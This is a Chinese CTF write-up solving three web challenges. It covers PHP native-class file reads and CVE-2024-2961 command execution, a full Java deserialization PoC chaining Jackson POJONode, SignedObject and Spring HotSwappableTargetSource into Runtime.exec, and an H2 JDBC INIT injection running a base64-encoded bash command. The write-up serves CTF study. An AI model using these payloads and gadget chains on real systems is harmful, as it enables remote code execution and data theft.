目录
phpms
再短一点点
泽西岛
phpms
dirsearch请求太快会报429,要设置一手--delay,扫出来.git
跑一下githacker
git stash list
git stash show -p
注释的绕过参考:从国赛想到的一些php绕过注释符trick
发现很多函数都被disable了
这里用php原生类先读/etc/passwd
/index.php?shell=?><?php $context = new SplFileObject('/etc/passwd');
foreach($context as $f){echo($f);
}
看到有redis,后续存在利用
接下来用SplFileObject原生类配合CNEXT (CVE-2024-2961)进行命令执行
用这个改进过的脚本:https://github.com/kezibei/php-filter-iconv
先读maps
/index.php?shell=?><?php
$context = new SplFileObject('file:///proc/self/maps');
foreach($context as $f){echo($f);
}
再读/lib/x86_64-linux-gnu/libc-2.31.so
/index.php?shell=?><?php
$context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');
foreach($context as $f){echo($f);
}
脚本生成payload
执行后502,无回显,可将执行结果写入文件再读取
发现flag不在文件中,在redis里
去读/etc/redis.conf,读到密码为admin123
将命令改为
echo "auth admin123\nget flag" | redis-cli > /tmp/res.txt
再短一点点
先来看黑名单过滤
第一个过滤com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,即getter的sink
第二个过滤javax.management.BadAttributeValueExpException,即直接触发toString的手段
第三个过滤了aop相关类,但org.springframework.aop.target.HotSwappableTargetSource没有被ban
又注意到题目库里有Jackson,可以由toString触发POJONODE来调getter,这里用SignedObject打二次反序列化即可
参考文章:Jackson原生反序列化 - Infernity's Blog
至于toString的触发,可以先试试EventListenerList这条链
https://github.com/datouo/CTF-Java-Gadget/blob/master/src/main/java/com/xiinnn/readobject2tostring/EventListenerListReadObject2ToString.java
链子搓完了,接下来看题目要求(
/deser路由,要求payload长度≤1282,经过InflaterInputStream解码,然后传到MyObjectInputStream里反序列化
反序列化完后执行命令, 删除/a文件,接着再访问/flag路由获取flag
跑通了poc
package GFCTF;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.*;
import java.util.Base64;
import java.util.Vector;public class exp {public static void main(String[] args) throws Exception {overrideJackson();byte[] bytes = getshortclass("calc");TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);Object obj = getPOJONodeStableProxy(templates);POJONode pojoNode = new POJONode(obj);EventListenerList list = new EventListenerList();UndoManager manager = new UndoManager();Vector vector = (Vector) getFieldValue(manager, "edits");vector.add(pojoNode);setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});//二次反序列化SignedObject signedObject = second_serialize(list);POJONode pojoNode2 = new POJONode(signedObject);EventListenerList list2 = new EventListenerList();UndoManager manager2 = new UndoManager();Vector vector2 = (Vector) getFieldValue(manager2, "edits");vector2.add(pojoNode2);setFieldValue(list2, "listenerList", new Object[]{InternalError.class, manager2});String a = serialize(list2);System.out.println(a);System.out.println(a.length());unserialize(a);}public static Object getFieldValue(Object obj, String fieldName) throws Exception{Field field = null;Class c = obj.getClass();for (int i = 0; i < 5; i++) {try {field = c.getDeclaredField(fieldName);} catch (NoSuchFieldException e){c = c.getSuperclass();}}field.setAccessible(true);return field.get(obj);}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));return signedObject;}//获取进行了动态代理的templatesImpl,保证触发getOutputpublic static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);cons.setAccessible(true);AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templatesImpl);InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);return proxyObj;}//重写jacksonpublic static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(writeReplace);ctClass.toClass();}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static Object getTemplates(byte[] bytes) throws Exception {Templates templates = new TemplatesImpl();setValue(templates, "_bytecodes", new byte[][]{bytes});setValue(templates, "_name", "Infernity");setValue(templates, "_tfactory", new TransformerFactoryImpl());return templates;}//提供需要序列化的类,返回base64后的字节码public static String serialize(Object obj) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(obj);String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());return poc;}//提供base64后的字节码,进行反序列化public static void unserialize(String exp) throws IOException,ClassNotFoundException{byte[] bytes = Base64.getDecoder().decode(exp);ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();}//一个短的命令执行class,用javassist写的public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");clazz.addConstructor(constructor);byte[] bytes = clazz.toBytecode();return bytes;}
}
但长度太长,需要削减不必要部分
首先置空TP的不必要字段
删掉jackson链子稳定性部分
跑完还是离1282差一点🤔
于是换toString的入口
HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString
package GFCTF;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.zip.Deflater;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;
import java.util.HashMap;public class exp {public static void main(String[] args) throws Exception {overrideJackson();byte[] bytes = getshortclass("calc");TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);POJONode pojoNode = new POJONode(templates);HotSwappableTargetSource h11 = new HotSwappableTargetSource(pojoNode);HotSwappableTargetSource h21 = new HotSwappableTargetSource(new XString(null));HashMap<Object, Object> objectObjectHashMap = makeMap(h11, h21);//二次反序列化SignedObject signedObject = second_serialize(objectObjectHashMap);POJONode pojoNode2 = new POJONode(signedObject);HotSwappableTargetSource h12 = new HotSwappableTargetSource(pojoNode2);HotSwappableTargetSource h22 = new HotSwappableTargetSource(new XString(null));HashMap<Object, Object> objectObjectHashMap2 = makeMap(h12, h22);String a = serialize(objectObjectHashMap2);System.out.println(a);System.out.println(a.length());unserialize(a);}public static Object getFieldValue(Object obj, String fieldName) throws Exception{Field field = null;Class c = obj.getClass();for (int i = 0; i < 5; i++) {try {field = c.getDeclaredField(fieldName);} catch (NoSuchFieldException e){c = c.getSuperclass();}}field.setAccessible(true);return field.get(obj);}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));return signedObject;}//重写jacksonpublic static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(writeReplace);ctClass.toClass();}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static Object getTemplates(byte[] bytes) throws Exception {Templates templates = new TemplatesImpl();setValue(templates, "_bytecodes", new byte[][]{bytes});setValue(templates, "_name", "");setValue(templates, "_tfactory", null);return templates;}public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {HashMap<Object, Object> s = new HashMap<>();setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setFieldValue(s, "table", tbl);return s;}//提供需要序列化的类,返回base64后的字节码public static String serialize(Object obj) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();// 使用 Deflater 设置为最高压缩率Deflater deflater = new Deflater(Deflater.BEST_COMPRESSION);DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream, deflater);ObjectOutputStream objectOutputStream = new ObjectOutputStream(deflaterOutputStream);objectOutputStream.writeObject(obj);// 关闭流objectOutputStream.flush();deflaterOutputStream.finish();deflaterOutputStream.close();// 转换为 Base64 字符串String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());return poc;}//提供base64后的字节码,进行反序列化public static void unserialize(String exp) throws IOException,ClassNotFoundException{new MyObjectInputStream(new InflaterInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(exp)))).readObject();}//一个短的命令执行class,用javassist写的public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");clazz.addConstructor(constructor);byte[] bytes = clazz.toBytecode();return bytes;}
}
更接近了一点🤔
短不了一点了,下一题
泽西岛
这题是个不出网H2 RCE
扒一扒h2database远程代码执行 | 离别歌
首先是鉴权的绕过
用/api/testConnect;.绕过
接着打H2 RCE
cat /flag > $CATALINA_HOME/webapps/ROOT/404.jsp
jdbcUrl=jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INI\T=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('bash -c {echo,Y2F0IC9mbGFnID4gJENBVEFMSU5BX0hPTUUvd2ViYXBwcy9ST09ULzQwNC5qc3A\=}|{base64,-d}|{bash,-i}')\;;AUTHZPWD=\
再随便访问个不存在的路由,带出flag